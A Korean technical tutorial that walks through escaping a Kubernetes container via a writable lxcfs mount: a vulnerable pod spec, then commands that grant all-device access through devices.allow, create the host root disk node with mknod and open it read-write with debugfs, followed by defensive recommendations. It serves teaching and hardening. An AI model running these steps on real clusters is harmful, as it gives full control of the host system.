Kubernetes 환경에서 컨테이너의 보안은 매우 중요합니다. 특히 컨테이너 내부에서 호스트 시스템으로의 접근 권한을 얻는 '컨테이너 탈출(Container Escape)' 공격은 심각한 보안 위협이 될 수 있습니다. 이 글에서는 lxcfs가 특정 방식으로 구성되었을 때 발생할 수 있는 취약점을 악용하여 컨테이너를 탈출하는 방법을 설명하고, 이에 대한 방어 전략을 제시합니다.
lxcfs 기반 컨테이너 환경 시나리오
lxcfs는 리눅스 컨테이너에서 /proc 등 일부 가상화된 파일 시스템을 실제처럼 보이게 하여 격리 수준을 높이는 데 사용될 수 있습니다. 만약 lxcfs가 호스트 경로에 쓰기 권한으로 마운트되고, 해당 경로가 컨테이너 내부에 공유되는 방식으로 구성되어 있다면, 공격자는 이를 악용하여 호스트 시스템에 접근할 수 있습니다.
다음은 이러한 시나리오를 가정한 예시 Kubernetes Pod 설정입니다. 이 Pod는 호스트의 /var/lib/app-shared 경로를 /mnt/app-data로 마운트하며, mountPropagation: HostToContainer를 통해 호스트의 마운트 변경 사항이 컨테이너로 전파되도록 합니다.
apiVersion: v1
kind: Pod
metadata:
name: vulnerable-lxcfs-pod
spec:
containers:
- name: exploit-target
image: busybox:latest
command: ["sleep"]
args: ["infinity"]
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /mnt/app-data
mountPropagation: HostToContainer
name: shared-host-path
volumes:
- name: shared-host-path
hostPath:
path: /var/lib/app-shared
type: DirectoryOrCreate
이 Pod가 배포된 후, 호스트 시스템에서 lxcfs를 사용하여 Pod에 마운트된 공유 경로의 하위 디렉토리에 Cgroup 관련 파일을 가상화합니다. 이는 공격자가 컨테이너 내부에서 Cgroup 설정을 조작할 수 있도록 만듭니다.
# 호스트 시스템에서 실행
# 1. 공유 디렉토리 생성 (pod YAML의 hostPath와 일치)
mkdir -p /var/lib/app-shared
# 2. lxcfs 설치 (예: CentOS/RHEL)
sudo yum install -y lxcfs
# 3. 공유 디렉토리 내에 lxcfs 마운트 포인트 생성 및 lxcfs 실행
mkdir -p /var/lib/app-shared/lxcfs-root
sudo lxcfs /var/lib/app-shared/lxcfs-root
컨테이너 탈출 공격 단계
1. lxcfs 사용 여부 확인
컨테이너 내부에서 lxcfs가 마운트되어 있는지 확인하는 것이 첫 번째 단계입니다. mount 또는 /proc/self/mountinfo 파일을 통해 확인할 수 있습니다.
# 컨테이너 내부에서 실행
/ # mount | grep -i lxcfs
lxcfs on /mnt/app-data/lxcfs-root type fuse.lxcfs (rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other)
/ # cat /proc/self/mountinfo | grep -i lxcfs
# 출력 결과에 fuse.lxcfs 타입의 마운트 정보가 포함되어 있다면 lxcfs가 사용 중임을 알 수 있습니다.
위 예시에서 볼 수 있듯이, 컨테이너 내부에 /mnt/app-data/lxcfs-root 경로에 lxcfs가 성공적으로 마운트되었습니다. 이제 이 경로로 이동하여 내용을 확인합니다.
/ # cd /mnt/app-data/lxcfs-root
/mnt/app-data/lxcfs-root # ls
cgroup proc
2. Cgroup devices.allow 파일 조작
lxcfs-root 디렉토리 아래에는 cgroup과 proc 디렉토리가 있습니다. cgroup 디렉토리에는 컨테이너의 Cgroup 설정이 가상화되어 있으며, 이를 통해 호스트의 디바이스 접근 권한을 조작할 수 있습니다.
현재 컨테이너의 Cgroup 경로로 이동하여 devices.allow 파일을 찾습니다. 정확한 경로는 시스템 및 컨테이너 런타임에 따라 달라질 수 있으나, 일반적으로 다음과 같은 구조를 따릅니다.
# 컨테이너 내부에서 실행
/mnt/app-data/lxcfs-root # ls -l cgroup/devices/
# ... (현재 컨테이너의 Cgroup 경로를 찾습니다) ...
# 예시 경로:
CDIR="/mnt/app-data/lxcfs-root/cgroup/devices/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod[POD_UUID].slice/cri-containerd-[CONTAINER_ID].scope/"
cd "$CDIR"
# 'devices.allow' 파일에 'a' (모든 디바이스 접근 허용)를 기록하여 디바이스 접근 권한을 얻습니다.
echo a > devices.allow
echo a > devices.allow 명령은 해당 컨테이너의 Cgroup devices 컨트롤러에 '모든 디바이스에 대한 접근을 허용'하도록 설정합니다. 이는 컨테이너 내부에서 호스트의 블록 디바이스에 접근할 수 있는 권한을 부여합니다.
3. 호스트 블록 디바이스 접근 및 파일 시스템 조작
devices.allow를 조작하여 디바이스 접근 권한을 얻었다면, 이제 호스트 시스템의 루트 파일 시스템에 접근할 수 있습니다. 먼저 /proc/self/mountinfo에서 호스트 루트 파일 시스템의 주/부 디바이스 번호를 확인합니다. 보통 루트 파일 시스템은 ext4 타입이며, / 경로에 마운트되어 있습니다.
# 컨테이너 내부에서 실행
/ # cat /proc/self/mountinfo | grep -E 'rootfs| / / '
# 예시 출력:
# 2236 2216 253:0 /var/lib/kubelet/pods/... /etc/hosts ...
# 여기서 '253:0'은 주(Major) 디바이스 번호가 253이고 부(Minor) 디바이스 번호가 0임을 나타냅니다.
# 이는 보통 호스트의 루트 파티션(/dev/mapper/cs-root 또는 /dev/sdaX 등)에 해당합니다.
# 필요한 도구 설치 (Alpine Linux 기반 컨테이너의 경우)
apk add --no-cache e2fsprogs-extra
# mknod를 사용하여 호스트의 루트 블록 디바이스를 나타내는 노드 파일 생성
# 예시: 주 디바이스 253, 부 디바이스 0
mknod /tmp/host_root_disk b 253 0
# debugfs를 사용하여 호스트 파일 시스템 접근 및 조작
debugfs -w /tmp/host_root_disk
debugfs 프롬프트에서 호스트 파일 시스템의 내용을 탐색하고 수정할 수 있습니다. 예를 들어, 호스트의 /etc 디렉토리를 나열하고 특정 파일을 읽을 수 있습니다.
debugfs 1.47.3 (8-Jul-2025)
debugfs: ls -l /etc
5767919 40755 (2) 0 0 4096 27-Apr-2026 10:15 .
...
131528 100644 (1) 0 0 6050 27-Apr-2026 10:14 os-release
debugfs: cat /etc/os-release
이처럼 debugfs를 통해 호스트의 어떤 파일이든 읽거나 수정할 수 있게 되므로, 이는 완전한 호스트 시스템 장악으로 이어질 수 있습니다.
방어 전략
lxcfs 취약점을 이용한 컨테이너 탈출 공격을 방어하기 위한 몇 가지 권고 사항은 다음과 같습니다.
- 불필요한 lxcfs 사용 회피: 가능하면 프로덕션 환경에서
lxcfs사용을 피합니다. 꼭 필요한 경우에만 신중하게 구성해야 합니다. - Cgroup 권한 제한: 컨테이너가 Cgroup
devices컨트롤러의devices.allow파일을 수정할 수 없도록 엄격하게 권한을 제한해야 합니다.lxcfs마운트 시 읽기 전용으로 설정하거나,HostToContainer마운트 전파를 신중하게 사용해야 합니다. - 최소 권한 원칙 적용: 컨테이너에 필요한 최소한의 권한만 부여합니다.
privileged모드나SYS_ADMIN기능과 같은 특수 권한은 가급적 사용하지 않습니다. - 호스트 경로 마운트 제어:
hostPath볼륨 사용을 최소화하고, 사용 시에는 쓰기 권한을 부여하지 않거나 필요한 하위 경로만 마운트하도록 제한합니다.mountPropagation설정 역시 신중하게 검토합니다. - 정기적인 보안 감사: 컨테이너 및 Kubernetes 클러스터 설정을 정기적으로 감사하여 불필요한 권한이나 잠재적인 취약점이 있는지 확인합니다.